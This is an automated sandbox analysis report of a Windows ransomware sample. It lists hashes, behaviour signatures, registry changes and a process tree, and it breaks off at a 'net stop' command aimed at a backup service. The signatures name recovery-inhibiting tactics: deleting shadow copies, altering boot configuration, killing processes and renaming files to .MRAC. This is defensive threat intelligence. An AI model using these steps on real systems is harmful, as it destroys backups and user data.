Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
27-12-2021 19:46
Static task
static1
Behavioral task
behavioral1
Sample
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Resource
win10-en-20211208
General
-
Target
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
-
Size
338KB
-
MD5
b99ce03482978a861c883bb772be3b25
-
SHA1
84ecf8f8b0de2dbb3df4b99766a84143e49eaa00
-
SHA256
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91
-
SHA512
a9261830ed6a6c93fcd6fd7c8483d917f2b4235bc9dd586eac9d10bdb6ca2872c6101ea512ecc2abc176a60afa576aa0856db25c66bc29bf81fe2a11c94875c1
Malware Config
Signatures
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 4036 bcdedit.exe 4056 bcdedit.exe -
Processes:
wbadmin.exewbadmin.exepid process 4076 wbadmin.exe 3124 wbadmin.exe -
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\PopInitialize.tiff 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe File renamed C:\Users\Admin\Pictures\PopInitialize.tiff => C:\Users\Admin\Pictures\PopInitialize.tiff.MRAC 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe File renamed C:\Users\Admin\Pictures\RequestClear.tif => C:\Users\Admin\Pictures\RequestClear.tif.MRAC 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe File renamed C:\Users\Admin\Pictures\CopySkip.png => C:\Users\Admin\Pictures\CopySkip.png.MRAC 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe File renamed C:\Users\Admin\Pictures\ExitExport.tif => C:\Users\Admin\Pictures\ExitExport.tif.MRAC 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe -
Deletes itself 1 IoCs
Processes:
Cmd.exepid process 232 Cmd.exe -
Drops file in Windows directory 6 IoCs
Processes:
wbadmin.exewbadmin.exedescription ioc process File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl wbadmin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exepid process 3808 vssadmin.exe 3996 vssadmin.exe -
Kills process with taskkill 45 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 3640 taskkill.exe 2324 taskkill.exe 3208 taskkill.exe 3352 taskkill.exe 3520 taskkill.exe 3688 taskkill.exe 2220 taskkill.exe 2788 taskkill.exe 3256 taskkill.exe 3616 taskkill.exe 3760 taskkill.exe 3136 taskkill.exe 3160 taskkill.exe 3232 taskkill.exe 3736 taskkill.exe 3712 taskkill.exe 3012 taskkill.exe 2528 taskkill.exe 3280 taskkill.exe 3664 taskkill.exe 2912 taskkill.exe 2716 taskkill.exe 3376 taskkill.exe 3424 taskkill.exe 3304 taskkill.exe 3448 taskkill.exe 3472 taskkill.exe 2384 taskkill.exe 2500 taskkill.exe 2252 taskkill.exe 3112 taskkill.exe 3088 taskkill.exe 3184 taskkill.exe 3400 taskkill.exe 3592 taskkill.exe 2928 taskkill.exe 2088 taskkill.exe 2464 taskkill.exe 2228 taskkill.exe 3568 taskkill.exe 3784 taskkill.exe 2660 taskkill.exe 3328 taskkill.exe 3496 taskkill.exe 3544 taskkill.exe -
Processes:
iexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc92000000000200000000001066000000010000200000003e6d599e6813fa58e7c3cd3dd1e0110824f28e35030f65ada8157c95311aa40f000000000e80000000020000200000000cdaa15b3c1853ae44edffa1c25b1361ef3f13266758b2db39c8c1e22b022afc9000000091dc02dafd046d1c18bf633d02f8b01d2dc039700acc4295e1e5c012ba95807868be62f6b155eba2101f26e4862fc282701168c77c555641a2e12ad084a1046f91cd672016ebba77977b813f13859a4cf2b159e1cf347dfb665b55e12ddf3d01686ac4d0b5d64e2236a1f4aa64f6981cab655c37355f845a6da83c7720cf4a2f66c2bc22d04dc01d2d8ae91a4ff48a6d40000000449f645c389036e735d2e74881ab26077d6e71f6ee009d600ce00b315ca30d7be023de1bce241a27d8efdb7812c33e03d6d2c61109e5bb46d5a6ab30b1b81828 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000029a8fa03d77d0143b95f148165a5bc920000000002000000000010660000000100002000000088ec995522d1cce327244eefbca84def0503716e4cc958c45ac5cc5d2781e7d8000000000e8000000002000020000000ff2c85a107b8c8cb3e7e0e36aae61ac2d090a1216c74b10e05dfaaaf99c66aeb200000008d9f36cc0af387d913bea065f82078359127f335dc966bfbf8db4b3c08ae618e40000000b53deb5e515767b7474fdb0318b2f3a7f3cf02e90fd61b2704409b50c77bb2d3f57c438f2bcc819e09aca2d687f898a58825862e61358068c2f7714cfa4ae21f iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80391d9f5afbd701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C8AAB481-674D-11EC-AFF5-422B4DF990B1} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C998BE01-674D-11EC-AFF5-422B4DF990B1} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F7F2E461-674D-11EC-AFF5-422B4DF990B1} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe -
Modifies registry class 13 IoCs
Processes:
rundll32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\open\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\ rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\.MRAC rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\.MRAC\ = "MRAC_auto_file" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\open rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_Classes\Local Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\edit rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\edit\command rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\edit\command\ = "%SystemRoot%\\system32\\NOTEPAD.EXE %1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000_CLASSES\MRAC_auto_file\shell\open\command rundll32.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 3340 NOTEPAD.EXE -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 46 IoCs
Processes:
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exevssvc.exewmic.exedescription pid process Token: SeDebugPrivilege 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe Token: SeDebugPrivilege 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe Token: SeDebugPrivilege 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe Token: SeBackupPrivilege 3856 vssvc.exe Token: SeRestorePrivilege 3856 vssvc.exe Token: SeAuditPrivilege 3856 vssvc.exe Token: SeIncreaseQuotaPrivilege 3176 wmic.exe Token: SeSecurityPrivilege 3176 wmic.exe Token: SeTakeOwnershipPrivilege 3176 wmic.exe Token: SeLoadDriverPrivilege 3176 wmic.exe Token: SeSystemProfilePrivilege 3176 wmic.exe Token: SeSystemtimePrivilege 3176 wmic.exe Token: SeProfSingleProcessPrivilege 3176 wmic.exe Token: SeIncBasePriorityPrivilege 3176 wmic.exe Token: SeCreatePagefilePrivilege 3176 wmic.exe Token: SeBackupPrivilege 3176 wmic.exe Token: SeRestorePrivilege 3176 wmic.exe Token: SeShutdownPrivilege 3176 wmic.exe Token: SeDebugPrivilege 3176 wmic.exe Token: SeSystemEnvironmentPrivilege 3176 wmic.exe Token: SeRemoteShutdownPrivilege 3176 wmic.exe Token: SeUndockPrivilege 3176 wmic.exe Token: SeManageVolumePrivilege 3176 wmic.exe Token: 33 3176 wmic.exe Token: 34 3176 wmic.exe Token: 35 3176 wmic.exe Token: SeIncreaseQuotaPrivilege 3176 wmic.exe Token: SeSecurityPrivilege 3176 wmic.exe Token: SeTakeOwnershipPrivilege 3176 wmic.exe Token: SeLoadDriverPrivilege 3176 wmic.exe Token: SeSystemProfilePrivilege 3176 wmic.exe Token: SeSystemtimePrivilege 3176 wmic.exe Token: SeProfSingleProcessPrivilege 3176 wmic.exe Token: SeIncBasePriorityPrivilege 3176 wmic.exe Token: SeCreatePagefilePrivilege 3176 wmic.exe Token: SeBackupPrivilege 3176 wmic.exe Token: SeRestorePrivilege 3176 wmic.exe Token: SeShutdownPrivilege 3176 wmic.exe Token: SeDebugPrivilege 3176 wmic.exe Token: SeSystemEnvironmentPrivilege 3176 wmic.exe Token: SeRemoteShutdownPrivilege 3176 wmic.exe Token: SeUndockPrivilege 3176 wmic.exe Token: SeManageVolumePrivilege 3176 wmic.exe Token: 33 3176 wmic.exe Token: 34 3176 wmic.exe Token: 35 3176 wmic.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
Processes:
iexplore.exeiexplore.exeiexplore.exepid process 3416 iexplore.exe 3564 iexplore.exe 2012 iexplore.exe -
Suspicious use of SetWindowsHookEx 22 IoCs
Processes:
iexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEpid process 3416 iexplore.exe 3416 iexplore.exe 3584 IEXPLORE.EXE 3584 IEXPLORE.EXE 3564 iexplore.exe 3564 iexplore.exe 3796 IEXPLORE.EXE 3796 IEXPLORE.EXE 3796 IEXPLORE.EXE 3796 IEXPLORE.EXE 3584 IEXPLORE.EXE 3584 IEXPLORE.EXE 2012 iexplore.exe 2012 iexplore.exe 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE 1920 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exedescription pid process target process PID 964 wrote to memory of 1508 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1508 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1508 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1508 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 1508 wrote to memory of 820 1508 net.exe net1.exe PID 1508 wrote to memory of 820 1508 net.exe net1.exe PID 1508 wrote to memory of 820 1508 net.exe net1.exe PID 1508 wrote to memory of 820 1508 net.exe net1.exe PID 964 wrote to memory of 740 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 740 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 740 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 740 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 740 wrote to memory of 268 740 net.exe net1.exe PID 740 wrote to memory of 268 740 net.exe net1.exe PID 740 wrote to memory of 268 740 net.exe net1.exe PID 740 wrote to memory of 268 740 net.exe net1.exe PID 964 wrote to memory of 540 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 540 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 540 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 540 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 540 wrote to memory of 852 540 net.exe net1.exe PID 540 wrote to memory of 852 540 net.exe net1.exe PID 540 wrote to memory of 852 540 net.exe net1.exe PID 540 wrote to memory of 852 540 net.exe net1.exe PID 964 wrote to memory of 752 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 752 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 752 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 752 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 752 wrote to memory of 1464 752 net.exe net1.exe PID 752 wrote to memory of 1464 752 net.exe net1.exe PID 752 wrote to memory of 1464 752 net.exe net1.exe PID 752 wrote to memory of 1464 752 net.exe net1.exe PID 964 wrote to memory of 1124 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1124 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1124 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1124 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 1124 wrote to memory of 1896 1124 net.exe net1.exe PID 1124 wrote to memory of 1896 1124 net.exe net1.exe PID 1124 wrote to memory of 1896 1124 net.exe net1.exe PID 1124 wrote to memory of 1896 1124 net.exe net1.exe PID 964 wrote to memory of 296 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 296 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 296 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 296 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 296 wrote to memory of 1080 296 net.exe net1.exe PID 296 wrote to memory of 1080 296 net.exe net1.exe PID 296 wrote to memory of 1080 296 net.exe net1.exe PID 296 wrote to memory of 1080 296 net.exe net1.exe PID 964 wrote to memory of 1064 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1064 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1064 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1064 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 1064 wrote to memory of 1456 1064 net.exe net1.exe PID 1064 wrote to memory of 1456 1064 net.exe net1.exe PID 1064 wrote to memory of 1456 1064 net.exe net1.exe PID 1064 wrote to memory of 1456 1064 net.exe net1.exe PID 964 wrote to memory of 1904 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1904 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1904 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 964 wrote to memory of 1904 964 768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe net.exe PID 1904 wrote to memory of 1808 1904 net.exe net1.exe PID 1904 wrote to memory of 1808 1904 net.exe net1.exe PID 1904 wrote to memory of 1808 1904 net.exe net1.exe PID 1904 wrote to memory of 1808 1904 net.exe net1.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\SysWOW64\net.exenet stop Acronis VSS Provider /y2⤵
- Suspicious use of WriteProcessMemory
PID:1508 -
